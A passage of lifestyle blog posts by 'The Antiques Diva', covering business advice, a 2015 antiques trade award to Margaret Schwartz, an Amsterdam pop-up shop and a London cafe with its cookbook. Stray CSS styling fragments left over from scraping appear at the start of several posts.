That leads me to another very important piece of advice for young entrepreneurs. Just do it. A lot of people talk about starting a company – but the only people who succeed in business are those that just do it. Do not wait until you are an expert in your field. Do not wait until you know everything there is to know. Do not wait until you are perfect. Just do it. When it comes to brand evolution, perhaps the most scandalous piece of business advice I can share is this: Do not wait until you’ve got the perfect business plan in place to start your business. Yes, you DO need a business plan. But it doesn’t have to be perfect. A good business plan will evolve over time as you learn more about your market, discover hidden sources of incomes and grow into your service. A successful brand will establish parameters which stay consistent – within which to operate – but it will evolve with the market and economic environment.

By listening to your gut instinct, planning as much as you can, and just doing it, you will be well on the way to starting a business that is as unique as you are. It’s important to listen to the advice of others, but it’s just as important to listen to your own voice and do what you know you need to do.

Gook luck,

The Antiques Diva®

AYG of the Year 2015

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>As the world becomes a smaller and smaller place, the importance of international business becomes greater and greater. This month as we are Going Global I’ve been on 3 continents! At The Antiques Diva & Co, one of our favorite things to do is introduce international clients, be they tourists, antique dealers, or interior designer, to our European sources. Often times, these become long lasting relationships, both personally and professionally. And speaking of international business and the future, Antiques Young Guns USA launched earlier this year after forming a strategic alliance with Antiques Young Guns UK. What a great way for young professionals in the antiques trade on both sids of the pond to connect!

AYG of the Year 2015 Brand

Antiques Young Guns USA promotes growth, education and exposure to those in the trade, 39 years old or younger, to a national audience of antiques enthusiasts. The program offers many member benefits, including online exposure through the Antiques Young Guns marketplace, several buying and selling events throughout the year, recognition in numerous trade and national publications, and much more.

I’m pleased to share that the 2015 Antiques Young Gun USA of the Year is Margaret Schwartz, owner of The Summer House. She is the first AYG USA winner of this award, and also happens to be a client of The Antiques Diva & Co! The award recognized Schwartz for her stellar contributions working as a young professional in the antiques industry.

AYG of the Year 2015 Schwartz, Margaret

Schwartz began her career working at Martha Stewart Living Omnimedia, which played a key role in inspiring and developing her passion for the home décor business. After four years, she left to open her own shop, The Summer House. Schwartz applies her signature styles and passion for home design to hand pick today’s best finds: upholstered furniture, fashionable jewelry, eye-catching lighting, exquisite rugs, fine art, and more.

Schwartz received a prize package valued at $10,000. The prizes, with significant contributions from the Antiques Young Guns’ industry partners, vary from complimentary booth space at U.S. Antique Shows events to free educational opportunities to advance trade knowledge.

Antiques Young Guns U.S.A. currently has more than 20 members and ten industry partners since the program’s launch this past March. In the last nine months, Antiques Young Guns has published their own website and merchandise gallery for members, set up multiple social media platforms, organized their first networking event, and provided multiple opportunities for its members’ onsite at U.S. Antique Shows’ nationally recognized events. To say the least, they have been busy creating and maintaining platforms for the next generation of antique professionals. And that’s music to my ears! To see young antiques dealers like Margaret Schwartz recognized for their vision, innovative ideas, and hard work means that the antiques industry has a promising future.

As we go into the new year, let’s all celebrate the fact that antiques are not only still relevant, they are a key factor in the decorative industry! I’ve said it before and I’ll say it again, “Long live antiques!”

Cheers and congratulations Margaret!

The Antiques Diva®

Candles Stick Together-A Pop-Up Shop in Amsterdam

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I’ve got good news for you if you’ll be in Amsterdam today through 20th of December! European silver specialist Jacob J Roosjen is having a pop-up shop at the Galerie Prinsengracht, a gallery close to the Spiegelstraat and headquarters of antiques dealing in Amsterdam, which happens to be nearby the Rijksmuseum.

Candles Stick Together-A Pop-Up Shop in Amsterdam

Jacob will be hosting this pop-up shop together with Paul Klunder, a renowned decorator from Belgium. The successful theme of “Dining and Shining” during the most recent PAN Amsterdam http://www.pan.nl inspired Jacob to continue his celebration of light into the holiday season. The motto for the pop-up of “Candles Stick Together” will carry on the idea of candlelight during winter and add to the festive mood in Amsterdam as well as help usher in the New Year ahead.

If you would like to join in the experience, be sure to stop in to Galerie Prinsengracht at Prinsengracht 795 in Amsterdam from 16-20 December from 14:00-19:00 and tell Paul Klunder or Jacob Roosjen that The Antiques Diva sent you!

Happy holidays,

The Antiques Diva®

Megan’s Cafe in London

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>W hen it comes to antiquing in London Kings Road is a guaranteed to result in a successful afternoon shopping. Whenever I ‘m in the area I have one place I have to go – and that’s Megan’s Cafe. It’s an institution in Fulham (their other cafe is in St. John’s Wood High Street in Chelsea). Coming here guarantees I get a healthy incredibly delicious lunch while out antiquing – and better yet – almost guarantees I’ll run into some of my antiques industry friends! Given it’s location opposite Guinevere’s this cafe frequented by some of the antiques industry’s most well known dealers and shoppers alike. Whether you’re there for brunch—try their freshly squeezed juices paired with a free-range eggs Benedict— lunch, afternoon tea— the fresh baked cakes are to die for— , or dinner, you’re sure to enjoy a gorgeous meal prepared with fresh and often organic ingredients.

Megan’s Cafe in London Celebrating with Champagne

I’ve spent many afternoons at Megan’s with clients and colleagues, discussing our recent finds and upcoming projects over a bottle— or two— of champagne. A favorite place to sit is the beautiful courtyard, with quaint tables pulled together – you’re in the heart of London, but somehow the ambiance feels quintessentially French country to me. There’s nothing like savoring excellent food while being surrounded by flowers. I often wish I could take a piece of Megan’s home with me!

Megan’s Cafe in London excellent food

That’s why I’m so excited that the cafe has come out with a book called, “Friends Around the Table,” chock full of mouth watering recipes.

Megan’s Cafe in London Cafe's Book Friends Around The Table

Whether you’re entertaining a group of friends or simply cooking for two, this cook book has something for everyone. Eating should be a communal activity, and as someone who loves to cook and entertain, I can’t wait to try some of these recipes, such as the grilled squid, chorizo and asparagus salad! Doesn’t that sound like the perfect lunch for me to make friends for lunching on terrace? (winters only just beginning but I’m already fantasizing about summer again). And as I have to accept that the weather is going to get cold… perhaps I should look for a heartier winter dish to fix friends and family? What about the pot-cooked beef fillet with pea puree and hasselback potatoes…yummy! Delicious. I”m an arm-chair recipe reader and Meghans cookbook has already transported me to a dozen tables in my mind!

Megan’s Cafe in London dessert cake

 

I’d love to hear what some of your favorite restaurants are in London – or elsewhere – and if you have any preferred recipes from them! Head over to The Antiques Diva & Co Facebook page and share them with me on the wall.

Until next time, bon appetit!

The Antiques Diva®